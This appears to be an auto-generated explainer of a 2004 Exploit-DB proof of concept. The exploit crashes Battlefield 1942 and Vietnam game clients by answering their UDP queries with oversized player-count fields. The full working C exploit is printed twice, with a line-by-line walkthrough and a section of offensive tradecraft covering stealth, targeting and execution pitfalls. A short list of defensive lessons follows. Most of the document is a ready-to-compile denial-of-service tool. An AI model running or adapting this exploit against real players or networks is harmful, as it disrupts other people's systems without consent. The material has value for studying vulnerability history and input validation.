Battlefield 1942/Vietnam Broadcast Client Crash Exploit Explained

Battlefield 1942/Vietnam Broadcast Client Crash Exploit Explained
What this paper is
This paper details a vulnerability in older versions of the game "Battlefield 1942" (up to 1.6.19) and "Battlefield Vietnam" (up to 1.2). The vulnerability allows an attacker to crash the game's broadcast client by sending a specially crafted network packet. This is a Denial of Service (DoS) vulnerability.
Simple technical breakdown
The game clients in these versions of Battlefield communicate with each other and with servers using UDP packets. One of these communication methods involves broadcasting information about game servers. The exploit targets how the game client processes these broadcast messages.
When the game client receives a broadcast message that is malformed or contains excessively large values for certain fields (like the number of players), it can lead to a crash. The exploit code crafts such a message and sends it to the game client, triggering the crash.
Complete code and payload walkthrough
The provided C code is a proof-of-concept exploit that targets the broadcast client crash vulnerability. Let's break down the code and its payload.
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void); // Function declaration for Windows error handling
// ... (Windows specific error handling code) ...
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define BOOMPLAYERS 2147483647 /* BUG */
#define BOOM "\\gamename\\%s" \
"\\gamever\\1.6" \
"\\location\\0" \
"\\hostname\\crash" \
"\\hostport\\%d" \
"\\mapname\\aberdeen" \
"\\numplayers\\%u" \
"\\maxplayers\\%u" /* not needed to be the same value */ \
"\\final\\" \
"\\queryid\\1.1"
void std_err(void); // Function declaration for standard error handling
int main(int argc, char *argv[]) {
struct sockaddr_in peer; // Structure to hold peer address information
int sd, // Socket descriptor
len, // Length of received data
pcklen, // Length of the crafted packet
on = 1, // Option for setsockopt
psz; // Size of the peer structure
u_short port; // Port number
u_char buff[BUFFSZ + 1], // Buffer for receiving data
pck[BUFFSZ + 1]; // Buffer for crafting the packet
setbuf(stdout, NULL); // Disable output buffering for immediate display
// Print banner information
fputs("\n"
"Battlefield broadcast client crash "VER"\n"
" 1942 <= 1.6.19 and Vietnam <= 1.2\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
// Check for correct command-line arguments
if(argc < 3) {
// Print usage instructions if arguments are missing
printf("\n"
"Usage: %s <game> <port>\n"
"\n"
"Game:\n"
" bfvietnam = Battlefield Vietnam\n"
" bfield1942 = Battlefield 1942\n"
" bfield1942sw = Battlefield 1942: Secret Weapons of WW2\n"
" bfield1942rtr = Battlefield 1942: Road to Rome\n"
" bfield1942swd = Battlefield 1942: Secret Weapons of WW2 Demo\n"
" bfield1942d = Battlefield 1942 Demo\n"
"\n"
"Port:\n"
" 23000 = default Internet port\n"
" 22000 = default LAN port\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata); // Initialize Winsock
#endif
port = atoi(argv[2]); // Convert port argument to integer
// Configure the target address structure
peer.sin_addr.s_addr = INADDR_ANY; // Listen on any interface
peer.sin_port = htons(port); // Set the target port (network byte order)
peer.sin_family = AF_INET; // IPv4 address family
psz = sizeof(peer); // Size of the peer structure
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); // Create a UDP socket
if(sd < 0) std_err(); // Handle socket creation error
// Set socket options
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err(); // Allow address reuse
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); // Bind the socket to the specified address and port
// Craft the malicious UDP packet
pcklen = snprintf(
pck,
BUFFSZ,
BOOM,
argv[1], // Game name (e.g., "bfvietnam")
port, // Port number
BOOMPLAYERS, // Number of players (exploitable value)
BOOMPLAYERS // Max players (exploitable value)
);
if((pcklen < 0) || (pcklen > BUFFSZ)) exit(1); // Check for snprintf errors
fputs("Clients:\n", stdout); // Indicate that we are listening for clients
for(;;) { // Infinite loop to continuously listen and respond
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz); // Receive data from any client
if(len < 0) continue; // If error, skip to next iteration
buff[len] = 0x00; // Null-terminate the received buffer
// Print information about the received client
printf("%16s:%5hu %s\n",
inet_ntoa(peer.sin_addr), // Convert IP address to string
ntohs(peer.sin_port), // Convert port to host byte order
buff); // Display received data
// Send the crafted malicious packet back to the client
if(sendto(sd, pck, pcklen, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); // Handle sendto error
}
close(sd); // Close the socket (this part is unreachable due to the infinite loop)
return(0);
}
#ifndef WIN32
void std_err(void) {
perror("\nError"); // Print system error message
exit(1);
}
#endif
// milw0rm.com [2004-12-07]Key Code Sections and their Practical Purpose:
#include <winsock.h>/#include <unistd.h>etc.: These are standard C library includes for network programming.winsock.his for Windows systems to handle network sockets.- The others are for Unix-like systems (Linux, macOS) for the same purpose.
- Practical Purpose: Enables the program to create, send, and receive network packets.
#define BUFFSZ 2048: Defines the maximum buffer size for network data.- Practical Purpose: Sets a limit on how much data can be read or sent at once, preventing buffer overflows in the receiving part of this specific exploit.
#define BOOMPLAYERS 2147483647: This is the core of the exploit. It defines a very large number, specifically the maximum value for a 32-bit signed integer.- Practical Purpose: This value is intentionally set to trigger a vulnerability in the game client when it processes the
numplayersandmaxplayersfields in the broadcast packet. The game likely attempts to use this value in a way that leads to a crash (e.g., an integer overflow or an out-of-bounds array access).
- Practical Purpose: This value is intentionally set to trigger a vulnerability in the game client when it processes the
#define BOOM ...: This macro defines the format string for the malicious UDP packet.\\gamename\\%s: The game name, taken fromargv[1].\\gamever\\1.6: A hardcoded game version, likely chosen to match vulnerable versions.\\location\\0: A placeholder.\\hostname\\crash: A hostname that will appear in logs if the client were to process it.\\hostport\\%d: The port number, taken fromargv[2].\\mapname\\aberdeen: A placeholder map name.\\numplayers\\%u: This is whereBOOMPLAYERSis inserted. The%uformat specifier expects an unsigned integer.\\maxplayers\\%u: This is also whereBOOMPLAYERSis inserted.\\final\\: A terminator for the broadcast message.\\queryid\\1.1: A placeholder query ID.- Practical Purpose: This string is used to construct the exact UDP packet that will be sent to the target game client. The
%sand%dare placeholders that will be filled in bysnprintf.
void std_err(void): A function to handle and display network-related errors.- On Windows, it uses
WSAGetLastError()to get specific Winsock error codes and provides descriptive messages. - On other systems, it uses
perror()for standard system errors. - Practical Purpose: Provides clear error messages, making debugging and understanding failures easier.
- On Windows, it uses
int main(int argc, char *argv[]): The main function where the program execution begins.argc: Argument count.argv: Argument vector (array of strings).- Practical Purpose: Parses command-line arguments to get the game name and port.
struct sockaddr_in peer;: A structure used to hold the IP address and port of a network endpoint.- Practical Purpose: Stores the address of the target game client to send the exploit packet to.
int sd, len, pcklen, on = 1, psz;: Variable declarations.sd: Socket descriptor (a handle to the network socket).len: Stores the number of bytes received.pcklen: Stores the number of bytes in the crafted packet.on: Used withsetsockoptto enable socket options.psz: Stores the size of thesockaddr_instructure.- Practical Purpose: Standard variables for socket programming.
u_char buff[BUFFSZ + 1], pck[BUFFSZ + 1];: Buffers for receiving and sending data.buff: Used to store incoming network data.pck: Used to construct the outgoing exploit packet.- Practical Purpose: Memory areas to hold network data.
setbuf(stdout, NULL);: Disables buffering forstdout.- Practical Purpose: Ensures that output messages (like the banner and received client info) appear immediately, which is useful for real-time monitoring.
Banner Printing (
fputs(...)): Displays information about the exploit.- Practical Purpose: Informs the user about the exploit's name, version, target versions, and author.
Argument Checking (
if(argc < 3)): Ensures the user provides the necessary command-line arguments (game name and port).- Practical Purpose: Prevents the program from running with invalid input and guides the user on correct usage.
WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata);(Windows only): Initializes the Winsock library.- Practical Purpose: Necessary for network operations on Windows.
port = atoi(argv[2]);: Converts the port number string from the command line into an integer.- Practical Purpose: Gets the target port number for the socket.
peer.sin_addr.s_addr = INADDR_ANY; peer.sin_port = htons(port); peer.sin_family = AF_INET;: Configures thesockaddr_instructure.INADDR_ANY: Tells the socket to listen on any available network interface. This is unusual for an exploit that sends data. It's used here because the program acts as a UDP server to receive broadcast packets from game clients, and then responds with the malicious packet.htons(port): Converts the host's port number to network byte order (big-endian).AF_INET: Specifies the IPv4 address family.- Practical Purpose: Sets up the local address and port to listen on, and prepares the structure for sending to a peer.
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);: Creates a UDP socket.AF_INET: IPv4.SOCK_DGRAM: Datagram socket (for UDP).IPPROTO_UDP: UDP protocol.- Practical Purpose: Establishes the communication channel.
setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, ...): Allows the socket to be bound to an address that is already in use.- Practical Purpose: Useful if the port is already occupied by another process, allowing the exploit to start.
bind(sd, (struct sockaddr *)&peer, sizeof(peer));: Assigns the local address and port to the socket.- Practical Purpose: Makes the socket ready to receive incoming UDP packets on the specified port.
pcklen = snprintf(pck, BUFFSZ, BOOM, ...);: Formats theBOOMstring with the provided game name and port, and inserts theBOOMPLAYERSvalue twice.pck: The buffer to write to.BUFFSZ: The maximum number of bytes to write (excluding null terminator).BOOM: The format string.argv[1]: The game name (e.g., "bfvietnam").port: The port number.BOOMPLAYERS: The large integer value fornumplayersandmaxplayers.- Practical Purpose: Constructs the actual malicious payload that will be sent.
for(;;)loop: An infinite loop.- Practical Purpose: The exploit continuously listens for incoming UDP packets. When it receives one, it assumes it's from a game client, prints its details, and then sends the crafted malicious packet back to that client.
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);: Receives a UDP packet.sd: The socket to receive from.buff: The buffer to store the received data.BUFFSZ: Maximum bytes to receive.(struct sockaddr *)&peer: Pointer to a structure that will be filled with the sender's address.&psz: Pointer to the size of the address structure.- Practical Purpose: Captures incoming network traffic, identifying potential game clients.
buff[len] = 0x00;: Null-terminates the received data.- Practical Purpose: Allows the received data to be treated as a C-style string, useful for printing.
printf("%16s:%5hu %s\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port), buff);: Prints the sender's IP address, port, and the received data.inet_ntoa(): Converts an IP address in network byte order to a human-readable string.ntohs(): Converts a port number from network byte order to host byte order.- Practical Purpose: Logs which clients are being targeted.
if(sendto(sd, pck, pcklen, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err();: Sends the crafted malicious packet.sd: The socket to send from.pck: The buffer containing the malicious payload.pcklen: The number of bytes to send.(struct sockaddr *)&peer: The destination address (the client that just sent a packet).- Practical Purpose: Delivers the exploit payload to the target game client, causing it to crash.
close(sd);: Closes the socket.- Practical Purpose: Releases the network resources. In this specific code, it's unreachable because of the infinite
for(;;)loop.
- Practical Purpose: Releases the network resources. In this specific code, it's unreachable because of the infinite
Payload Segment Explanation:
The payload is constructed by the snprintf call using the BOOM macro. The critical part is:
"\\numplayers\\%u\\maxplayers\\%u"When snprintf substitutes BOOMPLAYERS (which is 2147483647) for %u, the game client receives a broadcast packet with these fields set to an extremely large value. The vulnerability lies in how the game client's networking code handles these values. It's highly probable that the game client attempts to:
- Use
numplayersormaxplayersas an index into an array or buffer. - Perform arithmetic operations with these values that result in an overflow or underflow.
- Allocate memory based on these values, leading to an allocation failure or a crash.
The exact crashing mechanism depends on the internal implementation of the game's network code, but the large integer is the trigger.
Practical details for offensive operations teams
- Required Access Level: Network access to the target network segment where the vulnerable game clients are operating. No elevated privileges on the target machine are required, as this is a network-based exploit.
- Lab Preconditions:
- A controlled network environment.
- A vulnerable instance of Battlefield 1942 (<= 1.6.19) or Battlefield Vietnam (<= 1.2) running on a client machine.
- The attacker machine needs to be on the same network segment or have a route to the target client.
- The target game client must be running and potentially connected to a game server or listening for broadcasts.
- Tooling Assumptions:
- A C compiler (like GCC or MSVC) to compile the provided exploit code.
- Basic understanding of UDP networking.
- The exploit code itself.
- Execution Pitfalls:
- Firewalls: Network firewalls between the attacker and target could block UDP traffic on the game's default ports (e.g., 23000, 22000).
- Game Version: The exploit will only work on the specified vulnerable versions. Newer versions will likely have patched this vulnerability.
- Client State: The game client needs to be running and potentially in a state where it's actively listening for or processing broadcast messages. If the game is not running, or the network services are not active, the exploit will have no effect.
- Network Congestion/Packet Loss: UDP is an unreliable protocol. High packet loss could prevent the exploit packet from reaching the target or the initial broadcast packet from being received by the exploit tool.
- Incorrect Port: Specifying the wrong port will mean the exploit tool won't bind to the correct UDP port, and therefore won't receive broadcast packets.
- Game Client Behavior: The game client might have some resilience mechanisms or error handling that prevents a full crash, or it might just disconnect gracefully instead of crashing.
- Tradecraft Considerations:
- Reconnaissance: Identify the specific game versions running on target machines. This is crucial.
- Stealth: UDP is connectionless, making it harder to detect than TCP. However, sending a large volume of UDP packets on common game ports might still raise network monitoring alerts.
- Targeting: The exploit tool acts as a UDP server, listening for any broadcast. It then sends the malicious packet back to the source of the received broadcast. This means the attacker needs to be in a position to receive broadcasts from the target clients. This could be achieved by being on the same LAN or by having the target clients broadcast in a way that reaches the attacker (e.g., if the attacker is running a game server that clients are broadcasting to).
- Payload Delivery: The exploit code itself is the "payload" in this context, as its execution on the attacker's machine triggers the network attack.
Where this was used and when
- Context: This exploit targets the network broadcast functionality of the game clients. It's designed to be run by an attacker who can send UDP packets to the vulnerable game clients. This could be in a scenario where an attacker is on the same local network as the players, or if they are able to intercept or inject traffic into the network.
- Timeframe: The paper was published in December 2004. This indicates the vulnerability existed and was known around that time. The exploit targets versions of Battlefield 1942 up to 1.6.19 and Battlefield Vietnam up to 1.2. These versions were current in the early to mid-2000s. It's highly unlikely these specific versions are still widely used or vulnerable today, as they would have been patched or superseded by newer game versions.
Defensive lessons for modern teams
- Input Validation: Always validate the size and format of data received from external sources, especially network protocols. This includes checking for excessively large or malformed values in packet fields.
- Robust Error Handling: Implement comprehensive error handling for network operations, particularly for integer overflows, out-of-bounds accesses, and memory allocation failures.
- Protocol Understanding: Deeply understand the network protocols your applications use. Identify potential edge cases or unexpected data that could be exploited.
- Patch Management: Keep software, including games and their associated network services, up-to-date with the latest security patches. This vulnerability was likely fixed in later game versions.
- Network Segmentation: Segmenting networks can limit the blast radius of such attacks. If a client on one segment is compromised or crashed, it's less likely to affect clients on other segments.
- Intrusion Detection Systems (IDS): Network-based IDS can be configured to detect unusual UDP traffic patterns, such as a high volume of packets to game ports or packets with unexpected data formats, which might indicate an exploit attempt.
- Application-Level Firewalls/WAFs: While more common for web applications, similar principles can apply to game servers or clients, filtering malformed or suspicious network traffic.
ASCII visual (if applicable)
This exploit is a client-server interaction where the exploit tool acts as a server to receive broadcasts and then as a client to send the malicious packet.
+-----------------+ +-----------------+ +-----------------+
| Attacker Machine| ----> | Target Network | ----> | Vulnerable Game |
| (Exploit Tool) | | (UDP Broadcast) | | Client |
+-----------------+ +-----------------+ +-----------------+
^ |
| |
| Receives broadcast | Crashes
| from client |
| |
+---------------------------------------------------+Explanation:
- The Vulnerable Game Client might send out UDP broadcast packets to discover other players or servers.
- The Attacker Machine (running the exploit tool) is configured to listen on a specific UDP port. It receives these broadcast packets.
- Upon receiving a broadcast, the Exploit Tool crafts a malicious UDP packet using the
BOOMmacro with theBOOMPLAYERSvalue. - The Exploit Tool then sends this malicious packet back to the source IP and port of the received broadcast (i.e., to the Vulnerable Game Client).
- The Vulnerable Game Client, upon processing the malformed broadcast packet, crashes.
Source references
- Paper ID: 679
- Paper Title: Battlefield 1942 1.6.19 + Vietnam 1.2 - Broadcast Client Crash
- Author: Luigi Auriemma
- Published: 2004-12-07
- Paper URL: https://www.exploit-db.com/papers/679
- Raw Exploit Code URL: https://www.exploit-db.com/raw/679
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define BOOMPLAYERS 2147483647 /* BUG */
#define BOOM "\\gamename\\%s" \
"\\gamever\\1.6" \
"\\location\\0" \
"\\hostname\\crash" \
"\\hostport\\%d" \
"\\mapname\\aberdeen" \
"\\numplayers\\%u" \
"\\maxplayers\\%u" /* not needed to be the same value */ \
"\\final\\" \
"\\queryid\\1.1"
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
pcklen,
on = 1,
psz;
u_short port;
u_char buff[BUFFSZ + 1],
pck[BUFFSZ + 1];
setbuf(stdout, NULL);
fputs("\n"
"Battlefield broadcast client crash "VER"\n"
" 1942 <= 1.6.19 and Vietnam <= 1.2\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <game> <port>\n"
"\n"
"Game:\n"
" bfvietnam = Battlefield Vietnam\n"
" bfield1942 = Battlefield 1942\n"
" bfield1942sw = Battlefield 1942: Secret Weapons of WW2\n"
" bfield1942rtr = Battlefield 1942: Road to Rome\n"
" bfield1942swd = Battlefield 1942: Secret Weapons of WW2 Demo\n"
" bfield1942d = Battlefield 1942 Demo\n"
"\n"
"Port:\n"
" 23000 = default Internet port\n"
" 22000 = default LAN port\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
port = atoi(argv[2]);
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
pcklen = snprintf(
pck,
BUFFSZ,
BOOM,
argv[1],
port,
BOOMPLAYERS,
BOOMPLAYERS);
if((pcklen < 0) || (pcklen > BUFFSZ)) exit(1);
fputs("Clients:\n", stdout);
for(;;) {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) continue;
buff[len] = 0x00;
printf("%16s:%5hu %s\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port),
buff);
if(sendto(sd, pck, pcklen, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
}
close(sd);
return(0);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-12-07]